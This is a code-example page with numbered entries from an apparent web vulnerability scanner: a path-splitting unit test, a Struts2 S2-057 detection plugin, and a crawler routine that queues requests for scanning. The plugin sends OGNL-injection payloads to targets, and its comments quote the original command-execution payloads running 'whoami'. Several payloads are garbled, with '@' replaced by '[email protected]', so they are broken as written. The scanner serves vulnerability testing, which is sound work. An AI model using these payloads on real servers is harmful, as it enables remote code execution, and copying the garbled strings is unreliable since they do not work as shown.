def test_get_parent_paths(self):
     url = "https://github.com/w-digital-scanner/w9scan/blob/master/plugins/spider_file/bcrpscan.py"
     p = urlparse(url)
     r = get_parent_paths(p.path, False)
     d = ['/w-digital-scanner/w9scan/blob/master/plugins/spider_file/',
          '/w-digital-scanner/w9scan/blob/master/plugins/', '/w-digital-scanner/w9scan/blob/master/',
          '/w-digital-scanner/w9scan/blob/', '/w-digital-scanner/w9scan/', '/w-digital-scanner/', '/']
     self.assertTrue(r == d)
     r = get_parent_paths(url, True)
     d2 = ['https://github.com/w-digital-scanner/w9scan/blob/master/plugins/spider_file/',
           'https://github.com/w-digital-scanner/w9scan/blob/master/plugins/',
           'https://github.com/w-digital-scanner/w9scan/blob/master/',
           'https://github.com/w-digital-scanner/w9scan/blob/', 'https://github.com/w-digital-scanner/w9scan/',
           'https://github.com/w-digital-scanner/', 'https://github.com/']
     self.assertTrue(r == d2)
Beispiel #2
0
    def audit(self):
        method = self.requests.command  # 请求方式 GET or POST
        version = self.requests.request_version  # HTTP 0.9/1.0/1.1
        headers = self.requests.get_headers()  # 请求头 dict类型
        url = self.build_url()  # 请求完整URL
        resp_data = self.response.get_body_data()  # 返回数据 byte类型
        resp_str = self.response.get_body_str()  # 返回数据 str类型 自动解码
        resp_headers = self.response.get_headers()  # 返回头 dict类型

        p = self.requests.urlparse
        params = self.requests.params
        netloc = self.requests.netloc

        if self.response.language and self.response.language != "JAVA":
            return
        if method == 'GET':
            exi = os.path.splitext(p.path)[1]
            if exi not in acceptedExt:
                return

            ran_a = random.randint(10000000, 20000000)
            ran_b = random.randint(1000000, 2000000)
            ran_check = ran_a - ran_b
            checks = [str(ran_check), '<Struts2-vuln-Check>']
            payloads = [
                '${{{}-{}}}/'.format(ran_a, ran_b),
                # 2.3.20 版本的命令执行如下:
                # from https://github.com/Ivan1ee/struts2-057-exp
                # /%24%7B%28%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS%29.%28%23w%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/index.action
                # 修改了下,不执行命令只打印
                r'%24%7B%28%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS%29.%28%23w%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28%27%3cStruts2-vuln-%27%29%29.%28%23w.print%28%27Check%3e%27%29%29.%28%23w.close%28%29%29%7D/'
                # 2.3.34 版本的命令执行如下:
                # /%24%7B%28%23dm%[email protected]@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%[email protected]@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%[email protected]@toString%[email protected]@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29%29.%28%23w.close%28%29%29%7D/index.action
                r'%24%7B%28%23dm%[email protected]@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%[email protected]@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23w%3D%23ct.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%29.%28%23w.print%28%27%3cStruts2-vuln-%27%29%29.%28%23w.print%28%27Check%3e%27%29%29.%28%23w.close%28%29%29%7D/'
            ]
            url1 = get_parent_paths(netloc)
            if not url1:
                return
            url1 = url1[0]
            _suffix = url.split('/')[-1]
            for payload in payloads:
                r = requests.get(url1 + payload + _suffix,
                                 headers=headers,
                                 allow_redirects=False)
                for check in checks:
                    if check in str(r.headers) or check in r.text:
                        out.success(url,
                                    self.name,
                                    playload="{}".format(payload),
                                    method="GET",
                                    check=check,
                                    raw=r.raw)
                        return
Beispiel #3
0
    def audit(self):
        method = self.requests.command  # 请求方式 GET or POST
        headers = self.requests.get_headers()  # 请求头 dict类型
        url = self.build_url()  # 请求完整URL
        post_data = self.requests.get_body_data().decode(
            errors='ignore')  # POST 数据

        resp_data = self.response.get_body_data()  # 返回数据 byte类型
        resp_str = self.response.get_body_str()  # 返回数据 str类型 自动解码
        resp_headers = self.response.get_headers()  # 返回头 dict类型
        encoding = self.response.decoding or 'utf-8'

        p = self.requests.urlparse = urlparse(url)
        netloc = self.requests.netloc = "{}://{}{}".format(
            p.scheme, p.netloc, p.path)
        self.requests.tld = get_fld(netloc,
                                    fix_protocol=True,
                                    fail_silently=True)

        data = unquote(p.query, encoding)
        params = paramToDict(data, place=PLACE.GET)
        self.requests.params = params
        if "cookie" in headers:
            self.requests.cookies = paramToDict(headers["cookie"],
                                                place=PLACE.COOKIE)

        # finger basic info
        self.response.language, self.response.system, self.response.webserver = fingter_loader(
            resp_str, self.response.build_headers())
        if not self.response.language:
            if p.path.endswith(".asp"):
                self.response.language = "ASP"
                self.response.system = "WINDOWS"
            elif p.path.endswith(".aspx"):
                self.response.language = "ASPX"
                self.response.system = "WINDOWS"
            elif p.path.endswith(".php"):
                self.response.language = "PHP"
            elif p.path.endswith(".jsp") or p.path.endswith(
                    ".do") or p.path.endswith(".action"):
                self.response.language = "JAVA"
        if method == "POST":
            post_data = unquote(post_data, encoding)

            if re.search(
                    '([^=]+)=([^%s]+%s?)' %
                (DEFAULT_GET_POST_DELIMITER, DEFAULT_GET_POST_DELIMITER),
                    post_data):
                self.requests.post_hint = POST_HINT.NORMAL
                self.requests.post_data = paramToDict(
                    post_data, place=PLACE.POST, hint=self.requests.post_hint)

            elif re.search(JSON_RECOGNITION_REGEX, post_data):
                self.requests.post_hint = POST_HINT.JSON
                self.requests.post_data = paramToDict(
                    post_data, place=PLACE.POST, hint=self.requests.post_hint)

            elif re.search(XML_RECOGNITION_REGEX, post_data):
                self.requests.post_hint = POST_HINT.XML

            elif re.search(JSON_LIKE_RECOGNITION_REGEX, post_data):
                self.requests.post_hint = POST_HINT.JSON_LIKE

            elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, post_data):
                self.requests.post_hint = POST_HINT.ARRAY_LIKE
                self.requests.post_data = paramToDict(
                    post_data, place=PLACE.POST, hint=self.requests.post_hint)

            elif re.search(MULTIPART_RECOGNITION_REGEX, post_data):
                self.requests.post_hint = POST_HINT.MULTIPART

            # 支持自动识别并转换参数的类型有 NORMAL,JSON,ARRAY-LIKE
            if self.requests.post_hint and self.requests.post_hint in [
                    POST_HINT.NORMAL, POST_HINT.JSON, POST_HINT.ARRAY_LIKE
            ]:
                # if KB["spiderset"].add(method + url + ''.join(self.requests.post_data), 'PostScan'):
                task_push('PostScan', self.requests, self.response)
            elif self.requests.post_hint is None:
                print("post data数据识别失败")

        elif method == "GET":
            if KB["spiderset"].add(url, 'PerFile'):
                task_push('PerFile', self.requests, self.response)

        # Send PerScheme
        domain = "{}://{}".format(p.scheme, p.netloc)
        if KB["spiderset"].add(domain, 'PerScheme'):
            self.requests.path = "/"
            task_push('PerScheme', self.requests, self.response)

        if conf["no_active"]:
            return
        # Collect from response
        links = get_links(resp_str, url, True)
        for link in set(links):
            is_continue = True
            for item in logoutParams:
                if item in link.lower():
                    is_continue = False
                    break
            for item in notAcceptedExt:
                if link.endswith(item):
                    is_continue = False
                    break

            if not is_continue:
                continue

            # 去重复
            if not KB["spiderset"].add(link, 'get_links'):
                continue
            try:
                # 超过5M拒绝请求
                r = requests.head(link, headers=headers)
                if "Content-Length" in r.headers:
                    if int(r.headers["Content-Length"]) > 1024 * 1024 * 5:
                        raise Exception("length > 5M")
                r = requests.get(link, headers=headers)
                req = FakeReq(link, headers)
                resp = FakeResp(r)
            except Exception as e:
                continue

            if KB["spiderset"].add(resp._url, 'PerFile'):
                task_push('PerFile', req, resp)

        # Collect directory from response

        urls = set(get_parent_paths(url))
        for link in set(links):
            urls |= set(get_parent_paths(link))
        for i in urls:
            if not KB["spiderset"].add(i, 'get_link_directory'):
                continue
            try:
                r = requests.get(i, headers=headers)
                req = FakeReq(i, headers)
                resp = FakeResp(r)
            except:
                continue
            if KB["spiderset"].add(resp._url, 'PerFolder'):
                task_push('PerFolder', req, resp)